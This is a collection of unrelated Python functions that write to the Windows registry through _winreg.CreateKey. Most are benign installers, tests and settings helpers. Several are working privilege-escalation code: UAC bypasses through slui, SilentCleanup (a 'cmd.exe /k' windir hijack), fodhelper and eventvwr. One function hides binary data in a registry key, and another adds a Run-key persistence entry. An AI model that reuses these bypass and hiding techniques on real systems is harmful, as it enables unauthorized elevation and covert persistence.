def test_delete_registry_key(self): """Unit test for delete_registry_key""" # (return value, key, really_delete) tests = ((False, 'HKCU\\Software\\BleachBit\\DoesNotExist', False, ), (False, 'HKCU\\Software\\BleachBit\\DoesNotExist', True, ), (True, 'HKCU\\Software\\BleachBit\\DeleteThisKey', False, ), (True, 'HKCU\\Software\\BleachBit\\DeleteThisKey', True, ), ) # create a nested key key = 'Software\\BleachBit\\DeleteThisKey' subkey = key + '\\AndThisKey' hkey = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, subkey) hkey.Close() # test for test in tests: rc = test[0] key = test[1] really_delete = test[2] return_value = delete_registry_key(key, really_delete) self.assertEqual(rc, return_value) if really_delete: self.assertFalse(detect_registry_key(key)) # Test Unicode key. In BleachBit 0.7.3 this scenario would lead to # the error (bug 537109) # UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position # 11: ordinal not in range(128) key = r'Software\\BleachBit\\DeleteThisKey' hkey = _winreg.CreateKey( _winreg.HKEY_CURRENT_USER, key + r'\\AndThisKey-Ö') hkey.Close() return_value = delete_registry_key(u'HKCU\\' + key, True) self.assertTrue(return_value) return_value = delete_registry_key(u'HKCU\\' + key, True) self.assertFalse(return_value)
def set_serv_parms(service, args): """ Set the service command line parameters in Registry """ import _winreg uargs = [] for arg in args: uargs.append(unicoder(arg)) try: key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE, _SERVICE_KEY + service) _winreg.SetValueEx(key, _SERVICE_PARM, None, _winreg.REG_MULTI_SZ, uargs) _winreg.CloseKey(key) except WindowsError: return False return True
def registerMenu(key,menuName,command): """ Registers a given context menu command with a certain file type """ hkcr=_winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,None) while key[0]==".": try: val=_winreg.QueryValue(hkcr,key) except WindowsError: val=None if val==None or val=="" or val==key: break key=val print "Registering \""+key+"\" menu \""+menuName+"\"" reg=_winreg.CreateKey(hkcr,key) reg=_winreg.CreateKey(reg,"shell") shortName="" for c in menuName: if c!=' ': shortName=shortName+c reg1=_winreg.CreateKey(reg,shortName) _winreg.SetValue(reg,shortName,_winreg.REG_SZ,menuName); reg=_winreg.CreateKey(reg1,"command") _winreg.SetValue(reg1,"command",_winreg.REG_SZ,command)
def set_ie_to_avoid_download_popup_registry(): """ Updates the Windows Registry to add a new key and binary value to avoid download popup. """ if system() == "Windows": import _winreg key_val = r'Software\Microsoft\Windows\Shell\AttachmentExecute\{0002DF01-0000-0000-C000-000000000046}' try: key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key_val, 0, _winreg.KEY_ALL_ACCESS) except Exception as e: print e key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, key_val) _winreg.SetValueEx(key, "WinRAR.ZIP", 0, _winreg.REG_BINARY, "") _winreg.SetValueEx(key, "CompressedFolder", 0, _winreg.REG_BINARY, "") _winreg.CloseKey(key)
def Install(): AddOrRemoveHIDKeys(True) osExtension = "x86" if Is64BitOS(): osExtension = "x64" pluginDir = dirname(__file__.decode(sys.getfilesystemencoding())) myExe = join(pluginDir, "AlternateMceIrService_%s.exe" % osExtension) key = reg.CreateKey(reg.HKEY_LOCAL_MACHINE, ServiceKey + "\\AlternateMceIrService") reg.SetValueEx(key, "EventMessageFile", 0, reg.REG_SZ, myExe) reg.SetValueEx(key, "TypesSupported", 0, reg.REG_DWORD, 7) service = Service(u"AlternateMceIrService") service.Install(myExe) service.Start() print "Service successfully installed"
def DllUnregisterServer(): comclass = IEToolbar # unregister toolbar from internet explorer try: print "Trying to unregister Toolbar.\n" hkey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer\\Toolbar") _winreg.DeleteValue(hkey, comclass._reg_clsid_) except WindowsError: print "Couldn't delete registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_) else: print "Deleting reg key succeeded.\n"
def closing(root, path, style, value=None): open_key = None try: open_key = wr.OpenKey(root, path, 0, style) yield open_key except: reg = wr.CreateKey(root, path) if value: wr.SetValueEx(reg, None, 0, wr.REG_SZ, value) wr.CloseKey(reg) open_key = wr.OpenKey(root, path, 0, style) yield open_key finally: if open_key is not None: wr.CloseKey(open_key)
def _write_windows_registry(target_path, value_value, value_type): # pragma: no cover main_key, the_rest = target_path.split('\\', 1) subkey_str, value_name = the_rest.rsplit('\\', 1) main_key = getattr(winreg, main_key) try: key = winreg.OpenKey(main_key, subkey_str, 0, winreg.KEY_WRITE) except EnvironmentError as e: if e.errno != ENOENT: raise key = winreg.CreateKey(main_key, subkey_str) try: winreg.SetValueEx(key, value_name, 0, value_type, value_value) finally: winreg.CloseKey(key)
def set_reg(root, path, name, value): try: _winreg.CreateKey(root, path) registry_key = _winreg.OpenKey(root, path, 0, _winreg.KEY_WRITE) _winreg.SetValueEx(registry_key, name, 0, _winreg.REG_SZ, value) _winreg.CloseKey(registry_key) print str(path) + " " + str(name) + " has been updated with " + str( value) return True except WindowsError: print "Problem occured while trying to set registry : " + str( path) + " " + str(name) return False
def save_password(name, password): r"""Save password to user's private registry (encrypted). *name* is used to save a password on this machine and can be any string that complies with Windows's registry naming rules. *password* is the plain text password associated with *name*. Set *password* to None, to delete value from the registry. **TIP** I recommend you use the certificate expiration date as the name. Remebering when a cert will expire is a maintenance headache, and using this as the name will help with this chore. Example use:: >>> from signet.command.sign_code import * >>> save_password('Cert-1-Expires-2014-11', 'abc123') >>> get_saved_password('Cert-1-Expires-2014-11') 'abc123' """ if password is None: _winreg.DeleteKey(_winreg.HKEY_CURRENT_USER, "SOFTWARE\\signet\\%s" % name) return try: # Only import pywin32 dependency if user creates a project # that requires encrypted password. import win32crypt except ImportError: raise DistutilsModuleError("system missing required win32api " "module. You can download from " "http://sourceforge.net/projects/pywin32") # encrypt password using DPAPI (CRYPTPROECT_LOCAL_MACHINE) enc = win32crypt.CryptProtectData(password, name, None, None, None, 4) enc = base64.b64encode(enc) # create any missing subkeys key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, "SOFTWARE\\signet") # save password _winreg.SetValue(key, name, _winreg.REG_SZ, enc)
def jit(vdb, line): ''' Enable/Disable the current VDB location as the current Just-In-Time debugger for windows applications. Usage: jitenable [-D] -E Enable VDB JIT debugging -D Disable JIT debugging ''' argv = e_cli.splitargs(line) try: opts, args = getopt.getopt(argv, "ED") except Exception: return vdb.do_help('jit') try: import _winreg except Exception: vdb.vprint('Error Importing _winreg: %s' % e) return HKLM = _winreg.HKEY_LOCAL_MACHINE HKCU = _winreg.HKEY_CURRENT_USER REG_SZ = _winreg.REG_SZ regpath = r'SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug' #wow64path = r'SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug' #regkey = _winreg.CreateKey(HKLM, regpath) regkey = _winreg.CreateKey(HKLM, regpath) vdb.vprint('JIT Currently: %s' % _winreg.QueryValueEx(regkey, 'Debugger')[0]) setval = None for opt, optarg in opts: if opt == '-D': setval = '' elif opt == '-E': vdbpath = os.path.abspath(sys.argv[0]) setval = '%s %s -r -p %%ld -e %%Id' % (sys.executable, vdbpath) #_winreg.SetValue(HKLM if setval is not None: vdb.vprint('Setting JIT: %s' % (setval, )) _winreg.SetValueEx(regkey, 'Debugger', None, REG_SZ, setval)
def storage_save_to_reg(file_path): print " {} storage: Attempting to store binary data inside a registry key".format( infoBox()) try: key = _winreg.CreateKey( _winreg.HKEY_CURRENT_USER, os.path.join("Software\Classes\.storage\container")) _winreg.SetValueEx(key, None, 0, _winreg.REG_BINARY, reader(file_path)) _winreg.CloseKey(key) print " {} storage: Registry key created containing our binary data".format( successBox()) except Exception as error: print " {} storage: Unable to store binary data inside the registry key".format( errorBox()) return False
def WriteFleetspeakServiceConfigToRegistry(self, str_fs_service_config): """Register the GRR client to be run by Fleetspeak.""" logging.info("Writing Fleetspeak service config to registry.") regkey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Fleetspeak\textservices", ) _winreg.SetValueEx( regkey, config.CONFIG["Client.name"], 0, _winreg.REG_SZ, str_fs_service_config, )
def persistent(name, value): """ The function add key to registry under 'REG_PATH' :param name: key value :param value: key data :return: true if success else false """ try: _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH) registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE) _winreg.SetValueEx(registry_key, name, 0, _winreg.REG_SZ, value) _winreg.CloseKey(registry_key) return True except WindowsError: return False
def write_uac_regkey(self, path): # Write a UAC registry key to force certain installers # to request elevated permissions. try: import _winreg regkey = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\" "AppCompatFlags\\Layers") _winreg.SetValueEx(regkey, path, 0, _winreg.REG_SZ, "RUNASADMIN") _winreg.CloseKey(regkey) except: self.log.warning("Could not write UAC/elevation registry key " "for {0}".format(path)) return False return True
def register(classobj): import _winreg subKeyCLSID = "SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\%38s" % classobj._reg_clsid_ try: hKey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, subKeyCLSID ) subKey = _winreg.SetValueEx( hKey, "ButtonText", 0, _winreg.REG_SZ, classobj._button_text_ ) _winreg.SetValueEx( hKey, "ClsidExtension", 0, _winreg.REG_SZ, classobj._reg_clsid_ ) # reg value for calling COM object _winreg.SetValueEx( hKey, "CLSID", 0, _winreg.REG_SZ, "{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}" ) # CLSID for button that sends command to COM object _winreg.SetValueEx( hKey, "Default Visible", 0, _winreg.REG_SZ, "Yes" ) _winreg.SetValueEx( hKey, "ToolTip", 0, _winreg.REG_SZ, classobj._tool_tip_ ) _winreg.SetValueEx( hKey, "Icon", 0, _winreg.REG_SZ, classobj._icon_) _winreg.SetValueEx( hKey, "HotIcon", 0, _winreg.REG_SZ, classobj._hot_icon_) except WindowsError: print "Couldn't set standard toolbar reg keys." else: print "Set standard toolbar reg keys."
def set_HKLM_key(path=None, name=None, value=None, valuetype=_winreg.REG_SZ): """ Set new or existing HKEY_LOCAL_MACHINE key. path - a path to reg 'dir' containing a key name - key name value - key value """ if not all((path, name, value)): raise AssertionError('All kwargs should be set') _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE, path) registry_key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, path, 0, _winreg.KEY_WRITE) _winreg.SetValueEx(registry_key, name, 0, valuetype, value) _winreg.CloseKey(registry_key) return True
def _setup_win32(call): import _winreg as winreg key_name = """Software\Microsoft\Windows\CurrentVersion\Run""" try: key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_name, winreg.KEY_WRITE) except EnvironmentError: key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_name) try: winreg.SetValueEx(key, "pydio", None, winreg.REG_SZ, str(call)) except WindowsError as ex: logging.warning( "An error occurred during Windows registry change, ensure this process has admin privileges." ) raise winreg.CloseKey(key)
def main(target_file=common.get_path("bin", "myapp.exe")): common.log("Bypass UAC with %s" % target_file) common.log("Writing registry key") hkey = winreg.CreateKey( winreg.HKEY_CURRENT_USER, "Software\\Classes\\MSCFile\\shell\\open\\command") winreg.SetValue(hkey, "", winreg.REG_SZ, target_file) common.log("Running event viewer") common.execute(["c:\\windows\\system32\\eventvwr.exe"]) common.log("Restoring registry key", log_type="-") winreg.DeleteValue(hkey, "") winreg.DeleteKey(hkey, "") winreg.CloseKey(hkey)
def write_reg_string(hive, key, value, data, delete=True): # type: (long, str, str, str, bool) -> None hkey = winreg.CreateKey(hive, key) key = key.rstrip('\\') log("Writing to registry %s\\%s -> %s" % (key, value, data)) winreg.SetValueEx(hkey, value, 0, winreg.REG_SZ, data) stored, code = winreg.QueryValueEx(hkey, value) if data != stored: log("Wrote %s but retrieved %s" % (data, stored), log_type="-") if delete: time.sleep(0.5) log("Removing %s\\%s" % (key, value), log_type="-") winreg.DeleteValue(hkey, value) hkey.Close()
def _registerfont(filepath): """ Register ``filepath`` font with Windows registry. Note: ``filepath`` must point to a font which has been copied to the %WINDIR%\\Fonts folder. """ fontfile = os.path.split(filepath)[1] value_name = os.path.splitext(fontfile)[0] + " (True Type)" value_data = fontfile fonts = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Fonts") try: _winreg.QueryValueEx(fonts, value_name) except WindowsError: _log.debug("Adding to registry '%s'" % value_name) _winreg.SetValueEx(fonts, value_name, 0, _winreg.REG_SZ, value_data) finally: _winreg.CloseKey(fonts)
def setValueFromRegKey(self, key, valueName, valueData, valueType): """Sets a value in a key @param key: The registry key that holds the value to set. If the key does not exist, it will be created. The key should include the section. Eg. "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion" @type key: string @param valueName: The name of the value to set @type valueName: string @param valueData: The data to assign to the value @type valueData: string @param valueType: The type of the value @type valueType: WinRegValueType """ hkey, key = self._getHiveAndKey(key) aReg = reg.ConnectRegistry(None, hkey) aKey = reg.CreateKey(aReg, key) reg.SetValueEx(aKey, valueName, 0, valueType.type, valueData)
def slui(payload): if (payloads().exe(payload) == True): try: key = _winreg.CreateKey( _winreg.HKEY_CURRENT_USER, os.path.join("Software\Classes\exefile\shell\open\command")) _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, os.path.join(payload)) _winreg.SetValueEx(key, "DelegateExecute", 0, _winreg.REG_SZ, None) _winreg.CloseKey(key) except Exception as error: print_error( "Unable to create registry keys, exception was raised: {}". format(error)) return False else: print_success( "Successfully created Default key containing payload ({})". format(os.path.join(payload))) print_success("Successfully created DelegateExecute key") time.sleep(5) print_info("Disabling file system redirection") with disable_fsr(): print_success("Successfully disabled file system redirection") if (process().runas(os.path.join("slui.exe")) == True): print_success("Successfully elevated process ({})".format( os.path.join(payload))) else: print_error("Unable to elevate process ({})".format( os.path.join(payload))) time.sleep(5) try: _winreg.DeleteKey( _winreg.HKEY_CURRENT_USER, os.path.join("Software\Classes\exefile\shell\open\command")) except Exception as error: print_error("Unable to cleanup") return False else: print_success("Successfully cleaned up, enjoy!") else: print_error("Cannot proceed, invalid payload") return False
def silentcleanup(payload): if (payloads().exe(payload) == True): try: key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, os.path.join("Environment")) _winreg.SetValueEx( key, "windir", 0, _winreg.REG_SZ, "cmd.exe /k {} & ".format(os.path.join(payload))) _winreg.CloseKey(key) except Exception as error: print_error( "Unable to create registry keys, exception was raised: {}". format(error)) return False else: print_success( "Successfully created WINDIR key containing payload ({})". format(os.path.join(payload))) time.sleep(5) print_info("Disabling file system redirection") with disable_fsr(): print_success("Successfully disabled file system redirection") if (process().create( "schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I", 1) == True): print_success("Successfully spawned process ({})".format( os.path.join(payload))) else: print_error("Unable to spawn process ({})".format( os.path.join(payload))) time.sleep(5) try: key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Environment", 0, _winreg.KEY_ALL_ACCESS) _winreg.DeleteValue(key, "windir") except Exception as error: print_error("Unable to cleanup") return False else: print_success("Successfully cleaned up, enjoy!") else: print_error("Cannot proceed, invalid payload") return False
def __SetRTPDefaults(self, profile): """ Set values used by rat for identification """ if profile == None: self.log.exception("Invalid profile (None)") raise Exception, "Can't set RTP Defaults without a valid profile." if sys.platform == 'linux2': try: rtpDefaultsFile = os.path.join(os.environ["HOME"], ".RTPdefaults") rtpDefaultsText = "*rtpName: %s\n*rtpEmail: %s\n*rtpLoc: %s\n*rtpPhone: \ %s\n*rtpNote: %s\n" rtpDefaultsFH = open(rtpDefaultsFile, "w") rtpDefaultsFH.write( rtpDefaultsText % (profile.name, profile.email, profile.location, profile.phoneNumber, profile.publicId)) rtpDefaultsFH.close() except: self.log.exception("Error writing RTP defaults file: %s", rtpDefaultsFile) elif sys.platform == 'win32': try: # # Set RTP defaults according to the profile # k = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, r"Software\Mbone Applications\common") # Vic reads these values (with '*') _winreg.SetValueEx(k, "*rtpName", 0, _winreg.REG_SZ, profile.name) _winreg.SetValueEx(k, "*rtpEmail", 0, _winreg.REG_SZ, profile.email) _winreg.SetValueEx(k, "*rtpPhone", 0, _winreg.REG_SZ, profile.phoneNumber) _winreg.SetValueEx(k, "*rtpLoc", 0, _winreg.REG_SZ, profile.location) _winreg.SetValueEx(k, "*rtpNote", 0, _winreg.REG_SZ, str(profile.publicId)) _winreg.CloseKey(k) except: self.log.exception("Error writing RTP defaults to registry")
def fodhelper_dll_hijack(executable_path): registry_path = r"Software\Classes\ms-settings\Shell\Open\command" try: key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER,registry_path) _winreg.SetValueEx(key,"DelegateExecute",0,_winreg.REG_SZ,None) _winreg.SetValueEx(key,None,0,_winreg.REG_SZ,executable_path) except Exception as e: return False try: if (os.popen("C:\Windows\System32\fodhelper.exe") == 0): return True else: return False except Exception as e: return False
def SetupCore(searchPaths): """Setup the core Python information in the registry. This function makes no assumptions about the current state of sys.path. After this function has completed, you should have access to the standard Python library, and the standard Win32 extensions """ import sys for path in searchPaths: sys.path.append(path) import string, os import regutil, _winreg, win32api installPath, corePaths = LocatePythonCore(searchPaths) # Register the core Pythonpath. print corePaths regutil.RegisterNamedPath(None, string.join(corePaths, ";")) # Register the install path. hKey = _winreg.CreateKey(regutil.GetRootKey(), regutil.BuildDefaultPythonKey()) try: # Core Paths. _winreg.SetValue(hKey, "InstallPath", _winreg.REG_SZ, installPath) finally: _winreg.CloseKey(hKey) # The core DLL. # regutil.RegisterCoreDLL() # Register the win32 extensions, as some of them are pretty much core! # Why doesnt win32con.__file__ give me a path? (ahh - because only the .pyc exists?) # Register the win32 core paths. win32paths = os.path.abspath( os.path.split(win32api.__file__)[0]) + ";" + \ os.path.abspath( os.path.split(LocateFileName("win32con.py;win32con.pyc", sys.path ) )[0] ) suffix = IsDebug() ver_str = hex(sys.hexversion)[2] + hex(sys.hexversion)[4] FindRegisterModule("pywintypes", "pywintypes%s%s.dll" % (ver_str, suffix), [".", win32api.GetSystemDirectory()]) regutil.RegisterNamedPath("win32", win32paths)
def SetPreload(value): """Writes Chrome.dll preload settings to the registry. Args: value: if true, full preloading will be enabled (100%); if false, preloading will be disabled (0%); if an integer between 0 and 100, percentage based pre-loading will be enabled. """ key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, _CHROME_FRAME_KEY) if value is True: value = 100 elif value is False: value = 0 _SetDWORDValueImpl(key, _PREREAD_PERCENTAGE_VALUE, value) if value is not None: value = 1 if value == 100 else 0 _SetDWORDValueImpl(key, _PREREAD_VALUE, value)
def unregister(classobj): import _winreg subKeyCLSID = "SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\%38s" % classobj._reg_clsid_ try: hKey = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE, subKeyCLSID) subKey = _winreg.DeleteValue(hKey, "ButtonText") _winreg.DeleteValue(hKey, "ClsidExtension") # for calling COM object _winreg.DeleteValue(hKey, "CLSID") _winreg.DeleteValue(hKey, "Default Visible") _winreg.DeleteValue(hKey, "ToolTip") _winreg.DeleteValue(hKey, "Icon") _winreg.DeleteValue(hKey, "HotIcon") _winreg.DeleteKey(_winreg.HKEY_LOCAL_MACHINE, subKeyCLSID) except WindowsError: print "Couldn't delete Standard toolbar regkey." else: print "Deleted Standard toolbar regkey."
def createKey(self, key): # Match a registry key match = re.search( r"(?P<namespace>^[a-z0-9_]+)\\(?P<key>[ a-z0-9_\\]*?)$", key, re.IGNORECASE | re.MULTILINE) if not match: raise Exception("Key syntax is invalid") try: keyRes = _winreg.CreateKey( getattr(_winreg, match.group("namespace")), key) _winreg.CloseKey(keyRes) print "[%s] created." % (key) finally: pass